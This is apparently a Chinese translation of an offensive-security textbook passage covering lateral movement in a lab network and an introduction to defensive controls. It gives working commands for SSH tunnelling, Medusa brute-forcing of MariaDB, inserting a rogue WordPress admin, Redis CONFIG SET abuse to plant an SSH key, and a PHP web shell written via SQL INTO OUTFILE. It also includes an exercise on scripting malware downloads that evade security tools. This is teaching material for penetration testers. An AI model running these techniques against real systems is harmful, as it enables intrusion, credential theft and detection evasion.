如果没有可用的工具来建立反向 shell 监听器,可以从另一个远程位置获取这些工具,例如通过在你的主 Kali 机器上运行一个包含必要工具的 Web 服务器。
3. 修改前一节描述的易受攻击的execute.sh脚本,将 Shell 发送到侦听器的网络。
4. 验证您是否以root用户身份具有 Shell 访问权限。
利用数据库服务器
本章早些时候,我们在c-db-02(10.1.0.16)上识别出一个可能的 MySQL 服务。我们可以通过探测端口来验证这是否确实是一个数据库。从p-jumpbox-01(172.16.10.13)运行以下命令来了解这项服务:
$ **nc -v 10.1.0.16 3306**
Ncat: Connected to 10.1.0.16:3306.
5.5.5-10.6.4-MariaDB-1:10.6.4
c-backup-01上的数据库是 MariaDB 服务器。它使用 TCP 端口 3306,类似于 MySQL。访问数据库管理控制台需要用户名,有时还需要管理员设置的密码。在本节中,我们将尝试暴力破解数据库,以获得对其的远程访问权限。
端口转发
尽管p-jumpbox-01和p-web-02都连接到企业网络,但两者都没有我们可以用来连接的安装的数据库客户端。为了解决这个问题,我们可以使用端口转发和 Kali 上可用的工具来暴力破解数据库。我们将通过使用中间跳转主机p-jumpbox-01(172.16.10.13)在 Kali 机器上建立本地端口转发。
我们可以使用列表 11-7 中的命令执行端口转发。
$ **ssh -v -N -L 3306:10.1.0.16:3306 backup@172.16.10.13**
列表 11-7:使用 SSH 进行端口转发
此命令使用本地端口转发(-L)和语法 local_port:remote_ip:remote_port,接着是将通过的中间主机进行的转发。执行此命令后,将提示您输入p-jumpbox-01上备份用户的密码。作为提醒,密码是backup。
一旦命令成功执行,Kali 将开始在本地监听 3306 端口。使用以下命令验证 3306 端口是否在监听:
$ **netstat -atunp | grep 3306**
`--snip--`
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 86790/ssh
`--snip—`
Kali 上发送到 127.0.0.1:3306 的任何流量将通过中间主机p-jumpbox-01转发到c-db-02(10.1.0.16)的 3306 端口。
使用 Medusa 进行暴力破解
现在我们可以从 Kali 运行攻击,可以使用预安装的工具如 Medusa 来暴力破解数据库。以下命令使用 Medusa 的mysql模块,在 MariaDB 服务器上执行任务:
$ **medusa -h 127.0.0.1 -u root -P /usr/share/metasploit-framework/data/**
**wordlists/unix_users.txt -M mysql**
我们使用 medusa 命令和参数-h(主机)、-u(用户)、-P(密码文件)和-M(模块),指定 127.0.0.1 主机、root 用户、密码文件/usr/share/metasploit-framework/data/wordlists/unix_users.txt和mysql。Medusa 将使用unix_users.txt文件中的密码列表来暴力破解 root 帐户。让 Medusa 运行几分钟,直到找到密码:
`--snip--`
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 User: root Password: redsocks
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 User: root Password: rfindd
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 User: root Password: rje
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 User: root Password: root
**ACCOUNT FOUND: [mysql] Host: 127.0.0.1 User: root Password: root [SUCCESS]**
很好,Medusa 找到了root用户的密码是root。让我们尝试连接数据库。从 Kali 运行以下命令:
$ **mysql -h 127.0.0.1 -u root -p**
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 32
`--snip--`
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
接下来,通过使用 show databases 命令枚举可用数据库:
$ MariaDB [(none)]> **show databases;**
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| **wordpress** |
+--------------------+
正如你所看到的,我们找到了一个 WordPress 数据库。让我们连接一些点:这个c-db-02服务器可能是运行在p-web-02上的 WordPress 实例的后台数据库。回想一下,在之前章节中我们进行公共网络渗透测试时,这个数据库是无法访问的。现在我们尝试使用它进行进一步的利用。
反向植入 WordPress
现在我们以root用户身份访问 WordPress 数据库,可以修改数据库并添加我们自己的 WordPress 用户。这将使我们能够登录到 WordPress 管理页面,并完全控制博客平台。管理页面位于http://172.16.10.12/wp-admin,如图 11-2 所示。

图 11-2:WordPress 管理员门户
要添加用户,我们需要向两个表(即 wp_users 和 wp_usermeta)插入三行数据库记录。在 MariaDB 控制台中,运行以下命令切换到 wordpress 数据库:
MariaDB [(none)]> **use wordpress;**
`--snip--`
Database changed
接下来,运行三条 INSERT INTO SQL 命令来添加新记录并创建用户。第一条命令插入一个名为jane的新用户,密码为bash,并附带一些元数据:
MariaDB [(none)]> **INSERT INTO `wordpress`.`wp_users` (**
**`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`,**
**`user_activation_key`, `user_status`, `display_name`) VALUES ('3', 'jane', MD5('bash'),**
**'Jane', 'jane@example.com', 'http://www.example.com/', '2023-01-01 00:00:00', '', '0', 'Jane');**
第二条和第三条命令将用户的权限设置为管理员权限:
MariaDB [(none)]> **INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`,**
**`meta_value`) VALUES (NULL, '3', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');**
**MariaDB [(none)]> INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`,**
**`meta_value`) VALUES (NULL, '3', 'wp_user_level', '10');**
由于这些命令比较冗长,你也可以从本书 GitHub 仓库中的第十一章文件夹内的add_wordpress_admin.sql文件中复制它们。
执行这三条 INSERT INTO SQL 命令后,你现在应该能够访问http://172.16.10.12/wp-admin并以用户jane身份登录,密码为bash。你应该能看到 WordPress 管理面板,如图 11-3 所示。

图 11-3:身份验证后的 WordPress 面板
WordPress 管理员页面允许从其界面内修改 WordPress 内容文件,例如 HTML 和 PHP 文件。它们还允许你安装插件和主题,管理用户,更改与平台相关的设置等。
使用 Bash 运行 SQL 命令
值得注意的是,你可以通过在 bash 脚本中使用 heredoc(在第一章中介绍)来运行 SQL 命令。列表 11-8 提供了一个示例。
#!/bin/bash
DB_HOST="127.0.0.1"
DB_USER="root"
DB_NAME="wordpress"
# SQL commands as input to the mysql command
mysql -h "${DB_HOST}" -u "${DB_USER}" -p "${DB_NAME}" << "EOF"
INSERT INTO `wordpress`.`wp_users` ...
INSERT INTO `wordpress`.`wp_usermeta` ...
EOF
列表 11-8:在 bash 脚本中运行 SQL 命令
我们设置了几个包含数据库连接信息的变量,例如主机、用户和数据库名。然后我们使用 mysql 命令(适用于 MariaDB 服务器)并将这些变量传递给命令。通过使用 heredoc(<<),我们将一系列 SQL 命令定义为 mysql 命令的输入。两个 EOF 分隔符字符串标志着 heredoc 中命令的开始和结束。一旦你输入此命令,系统会提示你输入通过“使用 Medusa 进行暴力破解”章节中第 267 页发现的密码。
练习 25:通过 WordPress 执行 Shell 命令
在前一节中,您已经访问了 WordPress 管理页面。您能找到在托管博客平台的主机上执行 Shell 命令的方法吗?您可以通过多种方式实现这一目标。以下是一些示例:
-
通过 WordPress 编辑器修改主题的 PHP 文件,向其源代码添加基于 PHP 的 Web shell。
-
上传一个自定义插件,将危及底层系统。
-
从 WordPress.com Marketplace 安装一个插件,该插件提供执行 Shell 命令的功能。
一旦您能够执行 Shell 命令,请使用您已学习的方法之一建立一个反向 Shell。
妥协 Redis 服务器
在本章前面,我们确认了运行在 c-redis-01 机器 (10.1.0.14) 上的 Redis 服务器。Redis 是一种快速的键值数据库,通常在软件架构中用于缓存等目的。它经常部署时没有密码或 ACL 等安全保护,限制客户端在数据库上执行的命令。
我们已经知道我们发现的 Redis 服务器没有密码保护。当 Redis 服务器受密码保护时,未经身份验证的客户端将无法在不提供正确密码的情况下执行命令,我们用于指纹识别目的的 INFO 命令也无法工作。
某些版本的 Redis 对一种技巧是有漏洞的,它可以通过滥用其 CONFIG SET 命令向系统写入任意文件。名为 Kinsing 的恶意软件就利用了这种技术来妥协面向互联网的 Redis 服务器。攻击步骤如下:
1. 连接到一个未受保护的 Redis 服务器。
2. 发出 CONFIG SET dir 命令设置 Redis 配置文件的目录路径。
3. 接着发出 CONFIG SET dbfilename 命令设置配置文件的名称。
4. 向文件中写入任意恶意内容。
5. 发出 SAVE 命令保存内容。
在本节中,我们将使用两种方法来妥协 Redis:发送原始 Redis 命令和使用 Metasploit 辅助模块。我们的目标是在 c-redis-01 上添加一个后门 SSH 密钥。
原始 CLI 命令
就像利用 MariaDB 数据库一样,我们将通过 SSH 建立本地端口转发,将流向 c-redis-01 的流量通过中间主机发送。这样我们就可以使用 Kali 的工具。在 Kali 上运行以下命令以在本地打开 6379 端口。我们将通过 p-jumpbox-01 (172.16.10.13) 隧道传输流量到 c-redis-01 (10.1.0.14) 的 6379 端口:
$ **ssh -v -N -L 6379:10.1.0.14:6379 backup@172.16.10.13**
让我们验证一下 Kali 本地是否监听 6379 端口:
$ **netstat -atunp | grep 6379**
接下来,在 Kali 上运行 redis-cli 命令打开 Redis 控制台,并向 Redis 服务器发送指令:
$ **redis-cli -h 127.0.0.1 -p 6379**
我们将运行 CONFIG SET dir Redis 命令,在 Redis 服务器上设置写入公钥的目录:
127.0.0.1:6379> **CONFIG SET dir /root/.ssh/**
OK
我们将 dbfilename 设置为 authorized_keys。这将确保内容最终写入的路径是 /root/.ssh/authorized_keys:
127.0.0.1:6379> **CONFIG SET dbfilename authorized_keys**
OK
现在我们将使用 SET 设置一个键(k1),后跟公钥。请注意,在公钥字符串的开头和结尾有两个换行符(\n\n),以确保 authorized_keys 文件格式不会被损坏:
127.0.0.1:6379> **SET k1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqfvIYYTDy**
**Dr98DoutM74ThhUb+72vUDdhRl6Y+CKx3BksVTQ7pIWayRdUaUz/LDH2/ijYGTRcf6juv3yZB5V82x**
**PbL/ApvKMFwaxrnipZEPOd4BI7EG32XBy5RhIxZXMoUrxtoiJ9QbeRJh6gw0o85ABJhFCbknhxQR14**
**uiKN7cGaE/XtVBpUiEONczEaUHlJMq6GB/SSIrEXY4iP2p9TUwv0HbljVdE+nOdeKTUINNcnLAbvC6**
**/dHwLJ/NAQ94Ch+eiGdQHauBBeO96JHtDlgYaz1/sq54FTYYJxci4fiDBmXGAG6xf34f9uyy7PugWd**
**sr5O0XR/xRJAcGn2/CGil/wIa09YtpcrkEryO0p+WUg7no3PAuotcC/fgDSFAIZnLFFKUtmWJlXMjX**
**wtOWn9hj61Mk5mT0VlkWopDnVsqXgKfHmWIJolZNdUBW/UHs4nAP+MUOOnNadxlZkKfKdzsaZHhVLM**
**CLoS+IXVKIvMf6tiLuS5LLut6e1Y2wiQmOM= kali@kali\n\n"**
OK
最后,使用 SAVE 命令保存内容:
127.0.0.1:6379> **SAVE**
OK
如果你当前在 Kali 中没有设置 SSH 密钥对,请运行 ssh-keygen -t rsa 并按照向导生成一个。公钥将位于 /home/kali/.ssh/id_rsa.pub。
现在我们将尝试使用私钥 SSH 进入 c-redis-01 服务器。我们需要执行一次端口转发,以便通过跳板主机隧道化这个 SSH 流量。我们将在本地监听 2222 端口,并将流量转发到 22 端口:
$ **ssh -v -N -L 2222:10.1.0.14:22 backup@172.16.10.13**
验证 Kali 上是否有 2222 端口在本地监听:
$ **netstat -atunp | grep 2222**
现在运行一个 SSH 客户端连接到 10.1.0.14:
$ **ssh root@127.0.0.1 -p 2222 -i /home/kali/.ssh/id_rsa**
Linux c-redis-01.acme-infinity-servers.com 6.1.0-kali5-amd64 #1 SMP
`--snip--`
root@c-redis-01:~#
很好!我们通过一些 Redis 技巧成功获得了 c-redis-01 的 root SSH 访问权限。
Metasploit
我们可以通过使用 Metasploit 辅助模块以类似的方式攻破 Redis。Metasploit 是一个渗透测试、漏洞评估和利用平台,使用 Ruby 语言编写,由 H.D. Moore 创建。它可以执行许多任务,包括部署有效载荷。
在本节中,我们将使用 Metasploit 利用 Redis 漏洞。这将使你接触到 Metasploit,并展示其他的利用方法。在 Kali 上,通过运行 msfconsole 命令启动 Metasploit:
$ **msfconsole**
接下来,通过运行 use 命令并指定模块路径来使用 Redis file_upload 辅助模块:
msf > **use auxiliary/scanner/redis/file_upload**
该模块需要一些选项;运行 show options 以查看它们:
msf auxiliary(scanner/redis/file_upload) > **show options**
Module options (auxiliary/scanner/redis/file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
DISABLE_RDBCOMPRESSION true yes Disable compression when saving if found...
FLUSHALL false yes Run flushall to remove all redis data be...
**LocalFile no Local file to be uploaded**
PASSWORD foobared no Redis password for authentication test
**RHOSTS yes The target host(s), see https://docs.**
**metasploit.com/docs/using-metasploit/**
**basics/using-metasploit.html**
RPORT 6379 yes The target port (TCP)
**RemoteFile no Remote file path**
THREADS 1 yes The number of concurrent threads
我们已将你需要设置的选项加粗。LocalFile 选项应指向包含公钥的文件路径;RHOSTS 应指向 127.0.0.1,我们已在此设置了本地端口转发;RemoteFile 应指向远程文件路径,LocalFile 应上传到该路径:
msf auxiliary(scanner/redis/file_upload) > **set LocalFile "/home/kali/.ssh/id_rsa.pub"**
LocalFile => /home/kali/.ssh/id_rsa.pub
msf auxiliary(scanner/redis/file_upload) > **set RemoteFile "/root/.ssh/authorized_keys"**
RemoteFile => /root/.ssh/authorized_keys
msf auxiliary(scanner/redis/file_upload) > **set RHOSTS 127.0.0.1**
RHOSTS => 127.0.0.1
最后,使用 run 命令运行利用程序:
msf auxiliary(scanner/redis/file_upload) > **run**
[+] 127.0.0.1:6379 - 127.0.0.1:6379 -- saved 564 bytes inside of redis DB at
/root/.ssh/authorized_keys
[*] 127.0.0.1:6379 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
现在,由于公钥已经存储在 c-redis-01 上 root 用户的 authorized_keys 文件中,我们可以像之前一样通过本地 2222 端口 SSH 进入该主机:
$ **ssh root@127.0.0.1 -p 2222 -i /home/kali/.ssh/id_rsa**
使用基于密钥的认证,我们现在对 Redis 主机拥有持久的 root 访问权限。拥有 root 权限将允许你自由地探索这台机器及其包含的所有内容。
暴露的数据库文件
像 Apache 和 nginx 这样的 Web 服务器可以配置为仅从特定目录提供 Web 文件,或仅提供非常特定的文件扩展名,如.html 或 .php。然而,你有时可能会遇到从与主 Web 应用程序相同目录中读取或写入文件的 Web 应用程序。这些文件可能包括配置文件(如 .conf、.env 和 .ini 文件)、简单的数据库文件如 SQLite,甚至包含凭据的文件。
当应用程序以这种方式编程时,它们有风险将这些敏感文件暴露给未经授权的用户。能够猜测 Web 服务器上文件名的客户端可能会遇到可下载的文件,这些文件可能包含有关应用程序或底层服务器的敏感信息。
我们还有一个目标可以攻击:c-db-01 机器(10.1.0.15)。如果你扫描这个主机,你会发现只有端口 80(HTTP)是开放的,表明它正在运行一个 Web 服务器。让我们启动一个本地端口转发,以便我们可以从 Kali 运行一些扫描工具。我们将在本地监听端口 8888,并将端口 80 作为目标使用:
$ **ssh -v -N -L 8888:10.1.0.15:80 backup@172.16.10.13**
通过使用 netstat 验证端口 8888 是否打开:
$ **netstat -atunp | grep 8888**
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN 1151064/ssh
`--snip--`
接下来,我们将使用 dirsearch 在网站上搜索任何有趣的页面或文件。确保运行几分钟,以便它可以遍历可能的 Web 路径数据库:
$ **dirsearch -u http://localhost:8888**
`--snip--`
[21:30:47] 403 - 276B - /.ht_wsr.txt
[21:30:47] 403 - 276B - /.htaccess.sample
[21:30:47] 403 - 276B - /.htaccess.save
[21:30:48] 403 - 276B - /.html
[21:30:48] 403 - 276B - /.htpasswds
[21:30:48] 403 - 276B - /.httr-oauth
[21:30:48] 403 - 276B - /.php
**[21:30:58] 200 - 4KB - /adminer.php**
**[21:31:05] 200 - 181B - /database.sql**
**[21:31:10] 200 - 10KB - /index.html**
[21:31:22] 403 - 276B - /server-status/
[21:31:22] 403 - 276B - /server-status
[21:32:26] 301 - 315B - /uploads -> http://localhost:8888/uploads/
**[21:32:27] 200 - 941B - /uploads/**
正如你所见,一些页面返回了 HTTP 响应代码 403 Forbidden,而少数页面返回了 200 OK(即 adminer.php,database.sql,index.html 和 uploads)。
在 Kali 中打开你的本地浏览器,并导航至 http://localhost:8888/adminer.php 看看会出现什么。你应该看到一个类似于 图 11-4 的页面。

图 11-4:adminer.php 页面
Adminer 是一个数据库管理工具,它存在于单个、自包含的 PHP 文件中。它是诸如 phpMyAdmin 等数据库管理工具的轻量级替代品,允许你查询数据库,导出和导入表数据,创建新数据库等。
adminer.php 页面呈现了一个登录表单,我们没有登录的凭据。然而,dirsearch 的结果包括一个名为 database.sql 的文件,我们尚未探索。让我们使用 curl -o 参数下载这个文件,该参数将响应输出写入文件中:
$ **curl http://127.0.0.1:8888/database.sql -o database.sql**
在 Kali 中的文本编辑器中打开这个文件或者简单地运行 cat 命令:
$ **cat database.sql**
CREATE DATABASE IF NOT EXISTS adminer_db; ❶
CREATE USER IF NOT EXISTS 'adminer_user'@'localhost' IDENTIFIED BY 'P@ssword321'; ❷
GRANT ALL ON *.* TO 'adminer_user'@'localhost'; ❸
这个文件包含 SQL 命令。让我们分解一下它的作用。首先,如果不存在,则创建一个名为 adminer_db 的数据库 ❶。然后,如果不存在,则创建一个名为 adminer_user 的用户,并将密码设置为 P@ssword321 ❷。向 adminer_user 用户授予对所有数据库和表的权限 ❸。
这个脚本本质上是设置一个数据库。文件中包含的相同密码是否可能让我们访问 Adminer 面板?让我们找出来。在 Kali 的浏览器中打开 http://localhost:8888/adminer.php 并在用户名和密码字段中输入 adminer_user 和 P@ssword321。
成功!我们已经登录到了 Adminer。你应该看到各种数据库,比如 adminer_db,customers,sys 和 mysql。在接下来的部分中,我们将使用 Adminer 来导出数据库表数据。
泄露敏感信息
我们将使用 Adminer 的 SQL 接口来发送 SQL 命令,并从 customers 数据库中导出信息。通过从列表中选择 Customers 来探索数据库中存在的表格(见 图 11-5)。

图 11-5:客户数据库中的表
数据库有两个表:acme_hyper_branding 和 acme_impact_alliance。让我们在 Adminer 中使用 SQL 命令页面运行几个命令,该页面位于左上角菜单:
SELECT * FROM acme_hyper_branding;
SELECT * FROM acme_impact_alliance;
当你运行这些命令时,应该会出现包含两个公司的个人身份信息(PII)的两张表,信息包括名字、姓氏、职位、电子邮件和明文凭证。通过点击 导出,将这些信息保存为 CSV 或 SQL 格式,再次点击 导出 进行导出。列表 11-9 显示了 acme_hyper_branding 表的 CSV 导出内容。
id,first_name,last_name,designation,email,password
1,Jacob,Taylor,Founder,jtaylor@acme-hyper-branding.com,carmen
2,Sarah,Lewish,Executive Assistant,slewis@acme-hyper-branding.com,cachepot
`--snip--`
6,Melissa,Rogers,Software Engineer,mrogers@acme-hyper-branding.com,melissa2go
列表 11-9:包含敏感信息的表数据
尽管我们已经访问了客户信息,但还没有完全破坏数据库服务器。
使用 SQL 上传 Web Shell
我们能通过 SQL 命令上传 Web Shell 吗?MySQL 有一个 INTO OUTFILE 语句,可以将查询结果写入输出文件。通过使用带有 INTO OUTFILE 的 SELECT 语句,我们可以尝试将任意内容写入数据库服务器的文件系统。
为了能够上传 Web Shell 或将文件写入系统,我们首先需要知道我们尝试写入的目标路径是否存在于系统中。运行该应用程序的用户账户也必须具有写入该路径的权限。
让我们在 Adminer 中的 SQL 命令 部分运行几个测试命令,看看我们是否能够写入系统。以下 SQL 命令尝试将内容添加到名为 file_write.txt 的文件中:
**SELECT "test_write1" into OUTFILE "file_write1.txt"**
执行成功,响应信息显示查询执行成功,受影响的行数为 1,但我们不知道这个文件在文件系统中的位置。如果我们尝试浏览 http://localhost:8888/file_write1.txt,会得到 404 未找到错误。这意味着文件没有保存在 Web 根目录,而是保存在我们无法访问的其他地方。
我们能识别出提供网站的文件系统路径吗?常见的 Web 根目录路径包括 /var/www 或 /var/www/html。运行以下命令将文件写入 /var/www/html 目录:
**SELECT "test_write2" into OUTFILE "/var/www/html/file_write2.txt"**
这次,我们收到了权限拒绝错误,错误信息为查询中的错误 (1):无法创建/写入文件,这意味着路径存在,但代我们执行命令的用户没有写入权限。
我们的 dirsearch 扫描检测到了一个 uploads 目录。也许我们可以向其中写入文件?让我们试试看:
**SELECT "test_write3" into OUTFILE "/var/www/html/uploads/file_write3.txt"**
浏览到 http://localhost:8888/uploads/file_write3.txt;你应该能看到 test_write3 文本,这表明我们成功地将文件写入了 uploads 目录。
现在我们需要写一些代码,使我们能够执行命令。我们可以使用 PHP Web Shell 来实现这一点。运行以下命令将 PHP Web Shell 写入 uploads 目录:
**SELECT "<?php system($_GET['cmd']); ?>" into OUTFILE "/var/www/html/uploads/s.php"**
最后,运行 curl 来检查我们是否能够通过 Web Shell 执行命令:
$ **curl http://localhost:8888/uploads/s.php?cmd=id**
uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功了!我们能够在www-data用户的上下文中运行系统命令。在继续之前,尝试利用你目前在书中学到的内容建立一个反向 Shell。
总结
在本章中,我们通过使用一个富含频率的端口数据库来改进了我们的端口扫描,并识别了可能的访问路径,以便访问公司网络中的额外资源。在横向移动的过程中,我们利用托管在共享驱动器上的脚本,攻破了未受保护的数据库,给 WordPress 实例植入后门,通过泄露的 SQL 文件访问了数据库管理面板,进行了 Redis 配置调整,并通过 SQL 命令上传了 Web Shell。
第十二章:12 防御规避与数据外泄

你对目标采取的行动将不可避免地留下痕迹。在本章中,你将了解在生产环境中常见的防御机制,以及如何在不被检测的情况下从系统中提取数据的方法。你将探索隐藏恶意进程和命令、禁用安全工具、加密和编码数据以及泄露敏感信息的方式。
防御控制
在渗透测试过程中,你可能会遇到多种类型的安全控制。大多数部署在端点上的防御工具从黑盒视角来看很难被检测到,直到你攻破主机后才会知道它们的存在。不过也有例外。例如,如果某个代理在受到攻击时采取行动,比如阻止攻击者,你可能会察觉到该主机正在进行自我保护。
防御安全领域非常广泛,因此要涵盖你可能遇到的每一种工具,可能需要一本完整的书。然而,以下章节将更详细地讨论一些关键的控制类型。
端点安全
端点安全技术旨在为防御者提供遥测数据,识别服务器上的异常活动,并(理想情况下)防止攻击者成功。生产环境中可能使用的工具包括以下内容:
扩展检测与响应
也称为端点检测与响应(EDR),当只关注端点时,扩展检测与响应(XDR)解决方案试图从任何能够生成日志事件的设备收集数据,如服务器、防火墙、云服务和进出邮件。XDR 解决方案通过关联收集的数据,为防御者提供关于网络上发生的有趣事件的理解,并拼接出有关恶意操作横向传播的故事。在服务器上,EDR 和 XDR 解决方案通常会实现软件代理,收集信息并根据各种启发式方法阻止恶意软件的运行。它们还为防御者提供了向监控主机发送命令并响应事件的能力。
数据丢失防护
数据丢失防护(DLP)系统对静态和传输中的数据进行分类,然后根据系统所有者预定义的策略采取措施防止数据泄露。DLP 系统可以在主机和网络层面工作,例如监控流出系统的流量或监控从组织发送的电子邮件。其目标是确保敏感数据在未授权的情况下不会离开组织的边界。
传统的杀毒系统
传统的防病毒解决方案仍然被广泛使用,通常是出于合规性要求。这些工具,例如 Linux 的 ClamAV,扫描文件系统中的已知恶意文件哈希,并将匹配哈希的文件隔离。它们依赖于最新哈希数据库的存在来识别现代威胁。如今,大多数基于签名的防病毒扫描都作为 EDR 和 XDR 解决方案中的模块存在。
文件完整性监控
文件完整性监控(FIM)系统监控敏感的文件系统路径,检测如文件写入或删除等变化,并防止未经授权的修改。例如,在第八章中,你了解了/etc目录承载配置文件,部署系统后这些文件不应频繁更改。FIM 可以检测到如/etc/passwd和/etc/shadow等文件的修改,这可能表明攻击者正在尝试在系统中植入后门。基于开源的 FIM 解决方案包括 Open Source Tripwire、Advanced Intrusion Detection Environment(AIDE)和 OSSEC。
扩展伯克利数据包过滤器
扩展伯克利数据包过滤器(eBPF)内核仪器软件允许程序员在内核中安全地编写沙箱代码。Linux 内核提供了一个实现诸如安全监控、跟踪和日志记录等任务的逻辑位置,但在 eBPF 出现之前,进行这些操作会带来稳定性风险。在安全环境下,eBPF 可以识别并减轻恶意活动,接入各种系统机制,并为防御者提供更大的系统可见性。
安全增强 Linux 和 AppArmor
安全增强 Linux(SELinux)是一种用于在 Linux 系统上强制实施强制访问控制的安全机制。最初由美国国家安全局开发,SELinux 策略可以限制谁和什么可以访问受保护系统上的文件、进程和应用程序。AppArmor 是一个 Linux 安全模块,它通过对应用程序应用安全配置文件来防止应用程序采取潜在有害的操作。这些安全配置文件可以规定应用程序的允许操作、其能力,以及在应用程序违反政策时 AppArmor 需要采取的任何行动。
基于主机的防火墙
公司通常仅依赖边界处的一个网络防火墙,允许网络内的所有终端设备彼此自由通信。基于主机的防火墙可以帮助组织增加横向移动的难度,并隔离可能已被攻陷的机器。正如其名称所示,这些防火墙在本地运行,通过使用预定义的规则表来过滤进出主机的未经授权的流量。Linux 提供了多种防火墙,如 iptables、firewalld、nftables 和 Uncomplicated Firewall(UFW)。
应用程序和 API 安全
现代应用程序和 API 需要防范各种攻击,如数据提取和拒绝服务攻击。因此,企业通常依赖第三方应用程序为其应用提供全方位的保护:
Web 应用防火墙
Web 应用防火墙(WAF)是基于软件或硬件的防火墙,工作在 OSI 模型的第 7 层(应用层)。如今,它们通常是强大的基于云的服务,能够检查进入应用程序的请求和响应。WAF 通过签名和基于行为的启发式方法来识别恶意流量;它们还使用威胁情报数据来识别恶意行为者,通常是基于源 IP 地址或浏览器指纹。
Web 应用与 API 安全
Web 应用与 API 安全(WAAS)解决方案是传统 Web 应用防火墙的扩展,通过检查组织内部流量(如微服务之间的通信)来解决组织生态系统中的漏洞。WAAS 解决方案通常部署在服务器上,并考虑应用程序及其运行时环境。
运行时应用自我保护
应用防火墙不一定了解它们所保护的应用程序。运行时应用自我保护(RASP)解决方案通过跟踪应用程序在处理请求时的行为来解决这个问题。例如,如果 SQL 注入攻击成功绕过了位于边界的 Web 应用防火墙,受攻击的应用程序可能会将 SQL 命令发送到数据库,并返回包含大量个人数据的响应。由于 RASP 解决方案能洞察代码,它们可以识别这些攻击并将其阻止。
网络安全
企业常常忽视网络安全,因为他们通常只防范来自外部互联网的恶意流量,而忽视了对内部流量的同等保护。以下解决方案可以填补这些空白:
入侵检测与防御系统
入侵检测与防御系统(IDS/IPS)是基于流量模式观察网络入侵迹象的软件或硬件设备。这些系统通常使用已知的恶意特征码以及其他启发式方法,一旦它们检测到恶意负载,便会发出警报或完全阻止流量。一些常见的 IDS 和 IPS 系统包括 Snort、Zeek、Suricata 和 OSSEC。
网络防火墙
网络防火墙在网络架构中的关键节点检查进出流量,过滤来自互联网和内部网络之间的流量。我们通常称现代防火墙为下一代防火墙,因为它们具备了更多的附加功能,如 URL 过滤、深度数据包检查、恶意软件检测、内置威胁情报和协议或应用程序识别。
蜂窝陷阱
Honeypots(蜜罐)被设计成看起来像真实的生产系统,但其真正目的是检测那些试图突破网络或在成功入侵后横向移动的威胁行为者。蜜罐还可以收集威胁情报。通过引诱攻击者将特定系统作为目标,防御者可以了解他们当前的战术和技术。这些信息可以帮助加强安全控制并聚焦可能的弱点区域。
日志收集与聚合
日志是防御者的重要资产,因为它们提供了入侵的证据,既包括事件发生时的证据,也包括事后的证据。系统几乎可以从任何地方收集日志,包括主机、打印机、网络交换机、防火墙和应用程序。端点通常将日志传输到集中式安全信息和事件管理系统,防御者可以通过关联事件来识别异常。用于安全目的的日志收集机制示例包括 Auditd、Fluent Bit 和 syslog 客户端。这些组件的日志通常集中在 OSSEC 和 Wazuh 等应用程序中。
表格 12-1 列出了几个主机级控制及其独特特征,如其进程名称以及它们存储运行时文件的位置。
表格 12-1:安全控制及其标识符
| 名称 | 类别 | 标识符类型 | 标识符 |
|---|---|---|---|
| Auditd | 安全审计日志记录 | 进程名称 | auditd |
| OSSEC | 入侵检测 | 进程名称 | ossec |
| syslog | 事件数据日志协议 | 进程名称 | syslog rsyslog |
syslog-ng |
| iptables | 基于主机的防火墙 | 进程名称 | iptables |
|---|---|---|---|
| UFW | 基于主机的防火墙 | 进程名称 | ufw |
| Open Source Tripwire | 文件完整性监控 | 目录 | /etc/tripwire |
| AIDE | 文件完整性监控 | 目录 | /etc/aide |
| AppArmor | 应用程序安全分析 | 目录 | /etc/apparmor.d |
| chkrootkit | Rootkit 扫描工具 | 目录 | /etc/chkrootkit |
| SELinux | 强制访问控制执行 | 目录 | /etc/selinux |
| Fluent Bit | 日志收集 | 目录 | /etc/fluent-bit |
| Rootkit Hunter | Rootkit 扫描工具 | 文件 | /etc/rkhunter.conf |
本表格主要关注开源端点安全控制。我们将在练习 26 中使用它。
练习 26:审计主机中的地雷
假设你需要编写一个脚本,将恶意代码从互联网下载到受感染的机器上。在脚本执行下载之前,它应该了解受感染主机的运行时环境,并在发现任何安全工具时停止执行。
在这个练习中,你将实现这样的一个脚本。表 12-1 提供了你可以用来识别安全工具的预定义启发式。例如,Tripwire 安装时会在/etc/tripwire下创建一个目录,而 syslog 服务器通常使用特定的进程名称运行,如rsyslog或syslog-ng。从高层次来看,你的脚本应该能够做到以下几点:
1. 检查环境中的防御性安全工具。
2. 如果发现主机没有保护,下载恶意软件。你可以使用 EICAR 文件,例如位于secure.eicar.org/eicar.com.txt的文件,来模拟下载恶意文件。EICAR 文件安全地触发安全检测工具,不涉及可能有害的真实恶意文件。
3. 如果主机受保护,生成报告列出已识别的工具。
你可以在本书的 GitHub 仓库中找到一个示例解决方案,exercise_solution.sh。为了进一步深入这个练习,可以对基于 Linux 的安全工具进行更多的研究,并扩大你的启发式表格。你还可以超越仅仅根据进程名称、文件和目录来检测工具。例如,尝试检查已加载的内核模块(使用 lsmod)或已安装的包(使用 dpkg)。
注意
下载本章的脚本,请访问github.com/dolevf/Black-Hat-Bash/blob/master/ch12。
隐藏恶意进程
防御工具通常通过系统上运行的异常进程来识别恶意活动。在本节中,我们将考虑三种方法来使恶意进程保持隐匿:将恶意共享库预加载到一个无害进程中、隐藏进程的执行、以及将进程名称更改为伪装成合法进程。
库预加载
